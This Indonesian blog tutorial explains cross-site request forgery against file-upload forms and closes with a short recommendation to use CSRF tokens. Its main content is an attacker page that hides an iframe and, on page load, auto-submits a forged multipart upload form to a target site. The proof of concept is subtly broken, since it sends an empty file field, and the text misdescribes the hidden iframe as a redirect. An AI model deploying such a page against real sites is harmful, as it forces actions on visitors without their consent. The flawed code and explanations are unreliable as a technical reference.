Exploits CRSF File Upload



CSRF (Cross-Site Request Forgery)

Adalah teknik serangan yang memanfaatkan relasi kepercayaan antara situs web dengan pengguna. Dalam serangan CSRF, penyerang menggunakan situs web yang dipercayai oleh korban untuk memaksa korban melakukan aksi yang tidak diinginkan atau berbahaya (seperti mengirim suatu data ke server tanpa persetujuan korban). Salah satu contohnya adalah serangan CSRF pada proses file upload.

Serangan CSRF pada file upload dapat dilakukan dengan memanipulasi form upload pada situs web yang dipercayai oleh korban. Penyerang dapat memasukkan kode crsf pada halaman situs web yang telah dimanipulasi, sehingga ketika korban membuka halaman tersebut, data yang telah dimanipulasi sebelumnya akan terunggah secara otomatis tanpa persetujuan korban.


Berikut adalah contoh kode CSRF untuk file upload:

<html>
  <head>
    <title>Contoh CSRF untuk file upload</title>
  </head>
  <body>
    <form enctype="multipart/form-data" method="POST" action="upload.php">
      <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
      <input type="hidden" name="action" value="upload" />
      <input type="file" name="userfile" />
      <input type="submit" value="Upload" />
    </form>
  </body>
</html>


Pada kode di atas, terdapat sebuah form upload file dengan atribut `enctype` yang diatur sebagai "multipart/form-data". 

Hal tersebut mengindikasikan bahwa data yang terkirimkan berupa file. Pada elemen form, terdapat dua input tipe `hidden`. Input pertama adalah `MAX_FILE_SIZE` dengan nilai 100000 bytes, yang merupakan batasan ukuran file yang boleh diunggah oleh pengguna. Input kedua adalah `action` dengan nilai "upload", yang dijadikan sebagai pengecekan pada sisi server ketika menerima request terkait apakah request memiliki nilai "upload" atau bukan. 

Untuk melakukan serangan CSRF pada kode di atas, kita dapat menambahkan kode script yang telah dimanipulasi pada halaman situs web yang diharapkan akan dikunjungi oleh korban.

Sehingga, setelah korban mengakses halaman tersebut, maka data yang telah dimanipulasi sebelumnya akan terunggah ke server secara otomatis tanpa persetujuan korban.


Contoh kode manupulasi pada halaman terkait dapat dilakukan sebagai berikut:

<html>
  <head>
    <title>Halaman Tidak Aman</title>
  </head>
  <body>
    <h1>Halaman Tidak Aman</h1>

    <p>Anda sedang diarahkan ke halaman yang mengandung bahaya. Setelah Anda mengunjungi halaman ini, maka akan ada pemindahan file tanpa sepengetahuan Anda.</p>

    <iframe src="http://targetwebsite.com/upload.php" style="display:none;"></iframe>

    <img src="http://logo-targetwebsite.com/">

    <script>
      function submit_form() {
        var form = document.createElement("form");
        form.setAttribute("method", "post");
        form.setAttribute("action", "http://targetwebsite.com/upload.php");
        form.setAttribute("enctype", "multipart/form-data");

        var input1 = document.createElement("input");
        input1.setAttribute("type", "hidden");
        input1.setAttribute("name", "MAX_FILE_SIZE");
        input1.setAttribute("value", "100000");

        var input2 = document.createElement("input");
        input2.setAttribute("type", "hidden");
        input2.setAttribute("name", "action");
        input2.setAttribute("value", "upload");

        var input3 = document.createElement("input");
        input3.setAttribute("type", "file");
        input3.setAttribute("name", "userfile");

        var input4 = document.createElement("input");
        input4.setAttribute("type", "submit");
        input4.setAttribute("value", "Upload");

        form.appendChild(input1);
        form.appendChild(input2);
        form.appendChild(input3);
        form.appendChild(input4);

        document.body.appendChild(form);

        form.submit();
      }

      window.onload = function () {
        submit_form();
      }
    </script>
  </body>
</html>


Pada kode di atas, terdapat sebuah tag `iframe` yang digunakan untuk mengarahkan pengunjung ke halaman targetwebsite.com/upload.php. Selanjutnya, terdapat sebuah script yang mengenerate form upload file dan secara otomatis mengirimkannya ke server targetwebsite.com/upload.php dengan menggunakan perintah `form.submit()`. Dengan demikian, ketika pengunjung mengakses halaman tersebut, aksi upload file ke server targetwebsite.com akan terjadi secara otomatis tanpa sepengetahuan pengunjung.

Oleh karena itu, untuk menghindari serangan CSRF pada proses file upload, kita dapat melakukan pencegahan dengan menggunakan token CSRF (CSRF Token) pada form upload file. CSRF Token adalah sebuah nilai acak yang ditambahkan pada form atau request yang dikirimkan ke server. Kemudian, server akan memeriksa apakah nilai tersebut sesuai dengan nilai yang telah ditetapkan sebelumnya. Jika nilai yang diterima tidak sama dengan nilai yang telah ditetapkan, server akan menolak request tersebut. Dengan demikian, akan sangat sulit bagi penyerang untuk melakukan serangan CSRF pada proses file upload.

0 Komentar